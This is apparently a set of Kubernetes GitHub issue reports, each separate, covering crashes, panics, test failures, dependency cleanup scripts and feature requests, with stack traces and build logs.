after the merge of this  pull request  https://github.com/kubernetes/kubernetes/pull/62505 \r \r some deprecated flags are hidden from help message.  \r this issue is addressed to trace what options should we take back.\r \r one related change to kube-apiserver:  https://github.com/kubernetes/kubernetes/pull/62621\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  \r  \r /assign \r

this commit and another subsequent one:\r https://github.com/kubernetes/kubernetes/commit/30714148c894a8daf539138c67a9be77a6fb6fc8 diff-ff2c2410a27bca372a9d79aacb8ac837r2593\r \r introduced some istio containers that depend on the :latest tag.\r \r we can't depend on latest tags and have a stable production infrastructure. it needs to be a specific version tag. please tag a specific version.\r \r 

i'm opening this issue as an umbrella for sharing thoughts about recent failures coming from it.\r \r in particular:\r - run 169: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-scale-performance/169\r \r this seems to be a flake cause by rescheduler. rescheduler is implemented in a pretty inefficient way listing all pods to decide for rescheduling.\r in this particular run, it send ~4k \ list all pods\  requests  usually it's 2-3 orders of magnitude lower .\r \r given that we're going to deprecate rescheduler in favor of priority-preemption in 1.12, i don't think we should spend much time on it.\r \r \r - run 170: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-scale-performance/170\r \r that seems like a more serious issue  we will see if that was flake or a real issue .\r a couple of observations about it:\r - there is huge amount of extremely long list requests for  all  endpoint and service - coming mostly from dns instances  and a couple originating from kube-proxy \r - i've seen in a log requests that took 6m+\r - looking into traces, it clearly seems that \ sending response\  is the step that it takes time:\r    \r i0622 13:42:43.247670       1 trace.go:76  trace 65977088 : \ list /api/v1/endpoints\   started: 2018-06-22 13:41:58.017796843 +0000 utc m=+19963.167330595   total time: 45.         229842024s :\r  9166720 trace 65977088 :  45.229839176s   45.139721246s  writing http response done  16408 items \r    \r even though this steps involves serializing the response, i'm fairly convinced that that's not our limiting factor - i spent some time looking into logs, and all other requests around those long requests very served pretty quickly  which suggests there wasn't any resource starvation there .\r my hypothesis is network issues  or components themselves weren't able to read the data maybe due to resource starvation on their side? \r \r but that's not the only problem. there were also problems with individual nodes.\r as an example, on node  gce-scale-cluster-minion-group-2-6k9s  kubelet became unhealthy:\r    \r 16:46:42.390386    1669 kuberuntime_container.go:329  getkubeletcontainers failed: rpc error: code = deadlineexceeded desc = context deadline exceeded\r e0622 16:46:42.390721    1669 generic.go:197  genericpleg: unable to retrieve pods: rpc error: code = deadlineexceeded desc = context deadline exceeded\r i0622 16:46:42.493526    1669 kubelet.go:1794  skipping pod synchronization -  container runtime is down pleg is not healthy: pleg was last seen active 4m8.565421981s ago; thr     eshold is 3m0s \r kubelet.service: service hold-off time over, scheduling restart.\r stopped kubernetes kubelet.\r started kubernetes kubelet.\r    \r that was a reason for some pods starting for a really long time.\r \r there were also issues at the end of the test where we weren't able to delete the namespace  i guess it's because some kubelet was down, but didn't have time to confirm that - it should be verified .\r \r but all those issues need to be better understand.\r \r @kubernetes/sig-scalability-bugs @shyamjvs @krzysied

feature request  :\r vsphere volume plugin does not support volume device yet. need to add volumemode in pv spec as other plugin did.\r \r >  \r release 1.12\r

  \r   what happened  :\r running  kubeadm upgrade apply --dry-run --feature-gates=coredns=true 1.10.8  crashes with the following error:\r \r    \r  dryrun  would perform action get on resource \ configmaps\  in api group \ core/v1\ \r  dryrun  resource name: \ kube-dns\ \r panic: runtime error: invalid memory address or nil pointer dereference\r  signal sigsegv: segmentation violation code=0x1 addr=0x108 pc=0x2d7f24a \r \r goroutine 1  running :\r k8s.io/kubernetes/cmd/kubeadm/app/phases/addons/dns.translatestubdomainofkubednstoproxycoredns 0x3be30e5, 0xb, 0x0, 0x0, 0x0, 0x0, 0x0 \r         /workspace/anago-v1.10.8-beta.0.41+7eab6a49736cc7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kubeadm/app/phases/addons/dns/dns.go:281 +0x3a\r k8s.io/kubernetes/cmd/kubeadm/app/phases/addons/dns.corednsaddon 0xc42084d200, 0x5b1a7c0, 0xc420d2b9a0, 0xc420dc6200, 0xc4201c5668, 0x13 \r         /workspace/anago-v1.10.8-beta.0.41+7eab6a49736cc7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kubeadm/app/phases/addons/dns/dns.go:156 +0x28a\r k8s.io/kubernetes/cmd/kubeadm/app/phases/addons/dns.ensurednsaddon 0xc42084d200, 0x5b1a7c0, 0xc420d2b9a0, 0x1, 0x1 \r         /workspace/anago-v1.10.8-beta.0.41+7eab6a49736cc7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kubeadm/app/phases/addons/dns/dns.go:58 +0x1b9\r k8s.io/kubernetes/cmd/kubeadm/app/phases/upgrade.performpostupgradetasks 0x5b1a7c0, 0xc420d2b9a0, 0xc42084d200, 0xc4200a3d40, 0x5e06f01, 0xc42084d200, 0x0 \r         /workspace/anago-v1.10.8-beta.0.41+7eab6a49736cc7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kubeadm/app/phases/upgrade/postupgrade.go:107 +0x432\r k8s.io/kubernetes/cmd/kubeadm/app/cmd/upgrade.runapply 0xc420c1da70, 0x0, 0x0 \r         /workspace/anago-v1.10.8-beta.0.41+7eab6a49736cc7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kubeadm/app/cmd/upgrade/apply.go:188 +0x4a8\r k8s.io/kubernetes/cmd/kubeadm/app/cmd/upgrade.newcmdapply.func1 0xc420d0c500, 0xc420d22750, 0x1, 0x3 \r         /workspace/anago-v1.10.8-beta.0.41+7eab6a49736cc7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kubeadm/app/cmd/upgrade/apply.go:109 +0x14a\r k8s.io/kubernetes/vendor/github.com/spf13/cobra.  command .execute 0xc420d0c500, 0xc420d226f0, 0x3, 0x3, 0xc420d0c500, 0xc420d226f0 \r         /workspace/anago-v1.10.8-beta.0.41+7eab6a49736cc7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/spf13/cobra/command.go:757 +0x2c1\r k8s.io/kubernetes/vendor/github.com/spf13/cobra.  command .executec 0xc420c23680, 0xc420ca6f00, 0xc420ca6c80, 0xc420ca6a00 \r         /workspace/anago-v1.10.8-beta.0.41+7eab6a49736cc7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/spf13/cobra/command.go:843 +0x334\r k8s.io/kubernetes/vendor/github.com/spf13/cobra.  command .execute 0xc420c23680, 0xc42000c010, 0x5adc1a0 \r         /workspace/anago-v1.10.8-beta.0.41+7eab6a49736cc7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/spf13/cobra/command.go:791 +0x2b\r k8s.io/kubernetes/cmd/kubeadm/app.run 0xc420b5ff70, 0x4046f4 \r         /workspace/anago-v1.10.8-beta.0.41+7eab6a49736cc7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kubeadm/app/kubeadm.go:36 +0xe3\r main.main  \r         /workspace/anago-v1.10.8-beta.0.41+7eab6a49736cc7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kubeadm/kubeadm.go:27 +0x26\r \r    \r \r \r   what you expected to happen  :\r \r the upgrade should proceed as if the configmap was empty or exit with an error stating that the configmap is missing.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r remove  kube-dns  cm and run the kudeadm upgrade command as explained above.\r \r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.10.6\r - os  e.g. from /etc/os-release : ubuntu 16.04\r - install tools: cluster was originally installed with kubeadm on ~1.6 then upgraded to 1.8 then 1.10. entirely possible that this configmap should have been created by an upgrade process that wasn't run properly.  however kubeadm shouldn't panic.

1 garbage collection as it's well known to us all, auto container gc could be kinda tricky  race condition etc.  hence i guess a raw field of  container  struct to support stuff like  docker run --rm  would help a lot, which aims to manage user-defined gc as long as the container terminates.   2 restart policy maybe i'm nuts yet i'll bet restart policy makes more sense to a container-level instead of pod-level.   3 kubelet component  my kubelet suffers like      e0818 11:53:57.131088       1 kubelet.go:682  image garbage collection failed: non-existent label \ docker-images\       which has not been quite settled down.  also see in  11733  i tried to mount /var/lib/docker as a volume of kubelet once, which didnt work. any ideas? env: k8s 1.0.0-dir / docker 1.7.1 / ubuntu14.04 startup opts for kubelet       docker run --net=host -d --privileged -v /sys:/sys:ro -v /var/run/docker.sock:/var/run/docker.sock  hyperkube:v1.0.0-dir /hyperkube kubelet --api-servers=https://127.0.0.1:6443 --v=2 --enable-server --config=/etc/kubernetes/manifests-multi --hostname-override=127.0.0.1 --cluster-dns=192.168.3.10 --cluster-domain=cluster.local --kubeconfig=/srv/kubernetes/config

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r   poddisruptionbudget\r   pod disruption budget\r   pdb\r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 5+\ , gitversion:\ v1.5.0-beta.2\ , gitcommit:\ 0776eab45fe28f02bbeac0f05ae1a203051a21eb\ , gittreestate:\ clean\ , builddate:\ 2016-11-24t22:35:03z\ , goversion:\ go1.7.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5+\ , gitversion:\ v1.5.0-beta.2\ , gitcommit:\ 0776eab45fe28f02bbeac0f05ae1a203051a21eb\ , gittreestate:\ clean\ , builddate:\ 2016-11-24t22:30:23z\ , goversion:\ go1.7.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  : gce\r -   os    e.g. from /etc/os-release :\r -   kernel    e.g.  uname -a  :\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r \r if a  policy/v1alpha1  pdb still exists after upgrading the master from  v1.4.6  to  v1.5.0-beta.2 ,  kubectl get poddisruptionbudget  is broken  even for subsequently-created  policy/v1beta1  pdbs . the alpha pdb cannot be deleted through  kubectl   neither v1.4.6 nor v1.5.0-beta.2 , so the user is stuck in this broken state and must roll back the master.\r \r \r   what you expected to happen  :\r \r the existence of the alpha pdb should not break interactions with beta pdbs.\r \r   how to reproduce it    as minimally and precisely as possible :\r \r 1.  launch a  v1.4.6  cluster from an official release build.\r 1.  create an alpha pdb:\r        yaml\r     apiversion: policy/v1alpha1\r     kind: poddisruptionbudget\r     metadata:\r       name: web\r     spec:\r       selector:\r         matchlabels:\r           app: nginx\r       minavailable: 4\r        \r 1.  upgrade the master to  v1.5.0-beta.2 :  cluster/gce/upgrade.sh -m v1.5.0-beta.2 \r 1.  attempt to run  kubectl get poddisruptionbudget \r \r with kubectl v1.4.6:\r \r    console\r $ kubectl get poddisruptionbudget\r error: group map certificates.k8s.io:0xc8203eb2d0 componentconfig:0xc8203eb340 extensions:0xc8203b6070 policy:0xc8203b60e0 rbac.authorization.k8s.io:0xc8203b6150 apps:0xc8203eae70 authorization.k8s.io:0xc8203eb030 autoscaling:0xc8203eb0a0 storage.k8s.io:0xc8203b61c0 batch:0xc8203eb260 federation:0xc8203ea930 :0xc8203eae00 authentication.k8s.io:0xc8203eaee0  is already registered\r    \r \r with kubectl v1.5.0-beta.2:\r \r    console\r $ kubectl get poddisruptionbudget\r error from server: no kind \ poddisruptionbudget\  is registered for version \ policy/v1alpha1\ \r    \r \r   anything else do we need to know  :\r \r if i try to create a beta pdb with the same name, it says:\r    \r error from server  alreadyexists : error when creating \ pdb-beta.yaml\ : poddisruptionbudgets.policy \ web\  already exists\r    \r \r attempting to delete the alpha pdb  either by name or by file  fails with:\r \r    console\r $ kubectl delete poddisruptionbudget web\r error from server: no kind \ poddisruptionbudget\  is registered for version \ policy/v1alpha1\ \r $ kubectl delete -f pdb-alpha.yaml \r error from server: error when deleting \ pdb-alpha.yaml\ : no kind \ poddisruptionbudget\  is registered for version \ policy/v1alpha1\ \r $ kubectl delete -f pdb-beta.yaml \r error from server: error when deleting \ pdb-beta.yaml\ : no kind \ poddisruptionbudget\  is registered for version \ policy/v1alpha1\ \r    \r \r i can successfully create a beta pdb with a different name and i can specifically  kubectl get poddisruptionbudget beta-pdb . however, listing all pdbs   kubectl get poddisruptionbudget   remains broken.

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?    choose one : bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  : master-branch\r \r \r   environment  : ubuntu 16.04\r -   cloud provider or hardware configuration  :\r -   os    e.g. from /etc/os-release :\r -   kernel    e.g.  uname -a  :\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r f1219 05:13:14.785570    7055 main.go:44  error: failed executing generator: some packages had errors:\r errors in package \ k8s.io/kubernetes/pkg/generated/openapi\ :\r output for \ openapi/zz_generated.openapi.go\  differs; first existing/expected diff: \r   \ odically.\\\ ,\ \\t\\t\\t\\tproperties: map string spec.schema{\ \\t\\t\\t\\t\\t\\\ conditions\\\ : {\ \\t\\t\\t\\t\\t\\tschemaprops: spec.sch\ \r   \ docally.\\\ ,\ \\t\\t\\t\\tproperties: map string spec.schema{\ \\t\\t\\t\\t\\t\\\ conditions\\\ : {\ \\t\\t\\t\\t\\t\\tschemaprops: spec.sche\ \r \r makefile.generated_files:504: recipe for target 'verify_gen_openapi' failed\r make 1 :      verify_gen_openapi  error 1\r makefile:453: recipe for target 'verify_generated_files' failed\r make:      verify_generated_files  error 2\r \r   what you expected to happen  : \r \r \r   how to reproduce it    as minimally and precisely as possible : run the ./hack/verify-all.sh\r \r \r   anything else do we need to know  :\r \r

this has bitten us multiple times. see for example: https://github.com/kubernetes/kubernetes/pull/39448\r \r the pr removed a bunch of kubernetes code which removed the last usage of a package in  godep / vendor . the problem is that all 'per pr' checks will short circuit  hack/verify-godeps.sh  if there were no changes in those directories. we cannot get rid of that short circuit because the test takes a long time  like 10-20 minutes long time  and doing that on every pr would not be acceptable.\r \r instead we also run: https://k8s-testgrid.appspot.com/google-unit verify-master which does the full check continuously. that check noticed that godep has extra code and started blocking the submit queue.\r \r @thockin wrote a really simple script to try to catch this case:\r    \r find . -type f -name \\ .go | xargs -n1 dirname | xargs go list -f '{{range\r .deps}}{{.}}{{\ \ \ }}{{end}}' | sort | uniq > /tmp/all-kube-godeps\r find vendor/ -type d | sed 's/^vendor\\///' | while read v; do grep -q \ $v\ \r /tmp/all-kube-godeps || echo \ $v is unused\ ; done\r    \r \r which is actually not all that bad. had a number of false positives, so i started trying to make something we could support.  and it turned out ugly. we can do it fast or do it 'easy to read' but both are proving difficult.\r \r    \r  !/bin/bash\r set -o noglob\r set -e\r \r extradeps= \r     \ k8s.io/kubernetes/vendor/github.com/ugorji/go/codec/codecgen\ \r     \ k8s.io/kubernetes/vendor/github.com/onsi/ginkgo/ginkgo\ \r     \ k8s.io/kubernetes/vendor/github.com/jteeuwen/go-bindata/go-bindata\ \r  \r listfmt='{{range .deps}}{{.}}{{\ \ \ }}{{end}}{{range .testimports}}{{.}}{{\ \ \ }}{{end}}'\r \r   takes an array like ./pkg/v1/api.go and turns it into k8s.io/kubernetes/pkg/v1\r files_to_pkgs    { \r \tfile= \ $@\  \r \t  get the  dirname  ex: ./pkg/v1/api.go becomes ./pkg/v1\r \tfiles= \ ${files @ %/ }\  \r \t  sort -u to shrink the list\r \tifs=$'\ ' files= $ lc_all=c sort -u <<<\ ${files   }\   \r \t  remove the stuff before the first slash, ex: ./pkg/v1 becomes pkg/v1\r \tfiles= \ ${files @   /}\  \r \t  add k8s.io/kubernetes to the front, ex: pkg/v1 becomes k8s.io/kubernetes/pkg/v1\r \tpkgs= \ ${files @ / /k8s.io/kubernetes/}\  \r }\r \r  kubepkgs= $ go list ./... 2>/dev/null | grep -v '/vendor/'| lc_all=c sort -u  \r   find all .go files\r files= $ find . -type f -name \\ .go | grep -v '/vendor/'  \r files_to_pkgs \ ${files @ }\ \r kubepkgs= \ ${pkgs @ }\  \r \r   add some hard coded deps\r kubepkgs+= \ ${extradeps @ }\  \r \r \r   get the deps of all of the packages\r kubedeps= $ go list -f \ ${listfmt}\  \ ${kubepkgs @ }\  2>/dev/null || true  \r kubedeps+= $ goos=windows go list -f \ ${listfmt}\  \ ${kubepkgs @ }\  2>/dev/null || true  \r kubedeps+= \ ${extradeps @ }\  \r ifs=$'\ ' kubedeps= $ lc_all=c sort -u <<<\ ${kubedeps   }\   \r \r \r  vendorpkg= $ go list ./... | grep /vendor/ | lc_all=c sort -u  \r files= $ find . -type f -name \\ .go | grep '/vendor/'  \r files_to_pkgs \ ${files @ }\ \r vendorpkgs= \ ${pkgs @ }\  \r \r lc_all=c comm -1 -3 < ifs=$'\ ' echo \ ${kubedeps   }\   < ifs=$'\ ' echo \ ${vendorpkgs   }\  \r    \r \r but that script has some false positives still:\r    \r k8s.io/kubernetes/vendor/github.com/asaskevich/govalidator\r k8s.io/kubernetes/vendor/github.com/docker/docker/pkg/longpath\r k8s.io/kubernetes/vendor/github.com/go-openapi/analysis\r k8s.io/kubernetes/vendor/github.com/go-openapi/errors\r k8s.io/kubernetes/vendor/github.com/go-openapi/runtime\r k8s.io/kubernetes/vendor/github.com/onsi/gomega/gstruct/errors\r k8s.io/kubernetes/vendor/github.com/rackspace/gophercloud/testhelper\r k8s.io/kubernetes/vendor/github.com/rackspace/gophercloud/testhelper/client\r k8s.io/kubernetes/vendor/github.com/seccomp/libseccomp-golang\r k8s.io/kubernetes/vendor/google.golang.org/appengine\r    \r \r i started with  k8s.io/kubernetes/vendor/github.com/docker/docker/pkg/longpath  and basically have no idea why it is in godeps at all. i can't find anything importing it. so now i need to start playing with godep to figure out why godep is bringing that package in.\r \r just getting my thoughts down where i won't forget them.

it turns out that this flag actually breaks volume mounts, i've tried it by accident just now and spend too much time figuring out what was broken.

is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r \r started apiserver with flag  --secure-port=0 . the process crashes with the following logs:\r    \r i0914 15:44:19.040116       5 server.go:112  version: v1.7.5\r panic: runtime error: invalid memory address or nil pointer dereference\r  signal sigsegv: segmentation violation code=0x1 addr=0x48 pc=0x16281b6 \r \r goroutine 1  running :\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/admission/plugin/namespace/lifecycle.  lifecycle .setexternalkubeinformerfactory 0xc4208a5340, 0x0, 0x0 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/admission/plugin/namespace/lifecycle/admission.go:203 +0x26\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/admission/initializer.plugininitializer.initialize 0x77ea900, 0xc4208d0840, 0x0, 0x0, 0x77b4d20, 0xc4208b47c0, 0x77bb460, 0xc4208a5340 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/admission/initializer/initializer.go:49 +0x112\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/admission/initializer.  plugininitializer .initialize 0xc4208a15f0, 0x77bb460, 0xc4208a5340 \r \t<autogenerated>:1 +0x70\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/admission.plugininitializers.initialize 0xc420918240, 0x2, 0x2, 0x77bb460, 0xc4208a5340 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/admission/plugins.go:180 +0x5d\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/admission.  plugininitializers .initialize 0xc420918260, 0x77bb460, 0xc4208a5340 \r \t<autogenerated>:18 +0x73\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/admission.  plugins .initplugin 0xc4202a0090, 0xc420207080, 0x12, 0x0, 0x0, 0x77b4be0, 0xc420918260, 0x410e67, 0xc4205f94a0, 0x20, ... \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/admission/plugins.go:155 +0x20c\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/admission.  plugins .newfromplugins 0xc4202a0090, 0xc4200fc9a0, 0x7, 0x7, 0x77b4c20, 0xc4208a47c0, 0x77b4be0, 0xc420918260, 0x0, 0xc42089e480, ... \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/admission/plugins.go:129 +0x126\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/options.  admissionoptions .applyto 0xc4208021e0, 0xc420806a80, 0xc420918220, 0x2, 0x2, 0x77e6160, 0xc42087a150 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/options/admission.go:84 +0x453\r k8s.io/kubernetes/cmd/kube-apiserver/app.buildgenericconfig 0xc420800000, 0x0, 0x0, 0x0, 0x2, 0x1, 0x0, 0x1, 0xc420012c80, 0xc4208024e0, ... \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kube-apiserver/app/server.go:448 +0x1150\r k8s.io/kubernetes/cmd/kube-apiserver/app.createkubeapiserverconfig 0xc420800000, 0x0, 0x0, 0x77b05a0, 0xc420270000, 0x0, 0x5d58d20, 0x28, 0x5d39304, 0x5, ... \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kube-apiserver/app/server.go:254 +0xa9\r k8s.io/kubernetes/cmd/kube-apiserver/app.run 0xc420800000, 0xc4200680c0, 0x79767e0, 0x3c88c1b \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kube-apiserver/app/server.go:119 +0x143\r main.main  \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kube-apiserver/apiserver.go:51 +0xe4\r    \r \r   what you expected to happen  :\r \r apiserver is running but doesn't generate tls certificates automatically and is not listening on a secure port.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r just set the flag identified above.

this caused some issues, see fix in: https://github.com/kubernetes/kubernetes/pull/52929.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  \r  \r \r   what happened  :\r according to the following kubernetes document, the host entries can be added to pod /etc/hosts with hostaliases. \r https://kubernetes.io/docs/concepts/services-networking/add-entries-to-pod-etc-hosts-with-host-aliases/\r \r with configmap, the configuration artifacts can be decoupled from image content. but the hostaliases can not  be set by configmap. it makes the custom host entries can be only set in the image content.\r \r   what you expected to happen  :\r add new field e.g. hostaliasesfrom  in podspec and the custom host entries can be added by the pod's .spec.hostaliasesfrom which is a reference of a configmap key.\r \r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  : unit tests failed when run under build/run.sh\r \r   what you expected to happen  : unit tests pass\r \r   how to reproduce it  as minimally and precisely as possible   :\r    \r ./build/run.sh bash -c 'kube_verbose=1 make test what=./cluster/gce/gci'\r +++  0718 11:43:17  verifying prerequisites....\r +++  0718 11:43:17  using docker for macos\r +++  0718 11:43:18  building docker image kube-build:build-7a26897950-5-v1.10.3-1\r +++  0718 11:43:24  keeping container kube-build-7a26897950-5-v1.10.3-1\r +++  0718 11:43:24  keeping container kube-build-data-7a26897950-5-v1.10.3-1\r +++  0718 11:43:24  keeping container kube-build-7a26897950-5-v1.10.3-1\r +++  0718 11:43:24  keeping container kube-build-data-7a26897950-5-v1.10.3-1\r +++  0718 11:43:24  keeping container kube-build-7a26897950-5-v1.10.3-1\r +++  0718 11:43:24  keeping container kube-build-data-7a26897950-5-v1.10.3-1\r +++  0718 11:43:25  keeping image kube-build:build-7a26897950-5-v1.10.3-1\r +++  0718 11:43:25  syncing sources to container\r +++  0718 11:43:25  stopping any currently running rsyncd container\r +++  0718 11:43:25  starting rsyncd container\r +++  0718 11:43:26  running rsync\r +++  0718 11:43:26  stopping any currently running rsyncd container\r +++  0718 11:43:27  output from this container will be rsynced out upon completion. set kube_run_copy_output=n to disable.\r +++  0718 11:43:27  running build command...\r stat /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/bazel-bin: no such file or directory\r 2018/07/18 11:43:50 code for openapi definitions generated\r running tests for apiversion: v1,admissionregistration.k8s.io/v1alpha1,admissionregistration.k8s.io/v1beta1,admission.k8s.io/v1beta1,apps/v1beta1,apps/v1beta2,apps/v1,authentication.k8s.io/v1,authentication.k8s.io/v1beta1,authorization.k8s.io/v1,authorization.k8s.io/v1beta1,autoscaling/v1,autoscaling/v2beta1,batch/v1,batch/v1beta1,batch/v2alpha1,certificates.k8s.io/v1beta1,coordination.k8s.io/v1beta1,extensions/v1beta1,events.k8s.io/v1beta1,imagepolicy.k8s.io/v1alpha1,networking.k8s.io/v1,policy/v1beta1,rbac.authorization.k8s.io/v1,rbac.authorization.k8s.io/v1beta1,rbac.authorization.k8s.io/v1alpha1,scheduling.k8s.io/v1alpha1,scheduling.k8s.io/v1beta1,settings.k8s.io/v1alpha1,storage.k8s.io/v1beta1,storage.k8s.io/v1,storage.k8s.io/v1alpha1,\r +++  0718 11:43:51  running tests without code coverage\r --- fail: testencryptionproviderflag  0.10s \r         configure_helper_test.go:133: whoami: cannot find name for user id 501\r                 start kubernetes api-server\r                 chown: changing ownership of '/tmp.k8s/configure-helper-test868022621/kube-apiserver.log': operation not permitted\r         configure_helper_test.go:134: failed to run configure-helper.sh: exit status 1\r --- fail: testencryptionproviderconfig  0.03s \r         configure_helper_test.go:133: whoami: cannot find name for user id 501\r                 start kubernetes api-server\r                 chown: changing ownership of '/tmp.k8s/configure-helper-test397415192/kube-apiserver.log': operation not permitted\r         configure_helper_test.go:134: failed to run configure-helper.sh: exit status 1\r --- fail: testkmsencryptionproviderconfig  0.03s \r         configure_helper_test.go:133: whoami: cannot find name for user id 501\r                 start kubernetes api-server\r                 chown: changing ownership of '/tmp.k8s/configure-helper-test176939927/kube-apiserver.log': operation not permitted\r         configure_helper_test.go:134: failed to run configure-helper.sh: exit status 1\r --- fail: testkmspluginandapiserversharedvolume  0.03s \r         configure_helper_test.go:133: whoami: cannot find name for user id 501\r                 start kubernetes api-server\r                 chown: changing ownership of '/tmp.k8s/configure-helper-test067072522/kube-apiserver.log': operation not permitted\r         configure_helper_test.go:134: failed to run configure-helper.sh: exit status 1\r fail\r fail    k8s.io/kubernetes/cluster/gce/gci       0.190s\r    \r \r \r   anything else we need to know?  :\r i've seen this on both docker for mac and linux, with varying uids  501 and 1000 .\r \r this patch makes the package's tests pass:\r    diff\r diff --git a/cluster/gce/gci/apiserver_manifest_test.go b/cluster/gce/gci/apiserver_manifest_test.go\r index 5b2d570573..299598aed2 100644\r --- a/cluster/gce/gci/apiserver_manifest_test.go\r +++ b/cluster/gce/gci/apiserver_manifest_test.go\r @@ -51,7 +51,7 @@ readonly docker_registry=\ k8s.gcr.io\ \r  readonly enable_legacy_abac=false\r  readonly etc_manifests=${kube_home}/etc/kubernetes/manifests\r  readonly kube_api_server_docker_tag=v1.11.0-alpha.0.1808_3c7452dc11645d-dirty\r -readonly log_owner_user=$ whoami \r +readonly log_owner_user=$ id -un \r  readonly log_owner_group=$ id -gn \r  encryption_provider_config={{.encryptionproviderconfig}}\r  encryption_provider_config_path={{.encryptionproviderconfigpath}}\r    \r \r if this is acceptable, i will open a pr. please let me know!\r \r @immutablet @awly @mikedanese @krousey

we're disabling it due to sending too many status updates   14390 .  we need to figure out if it should be in the api at all, and if so, how we can put useful information in it without sending the   of status updates through the roof.

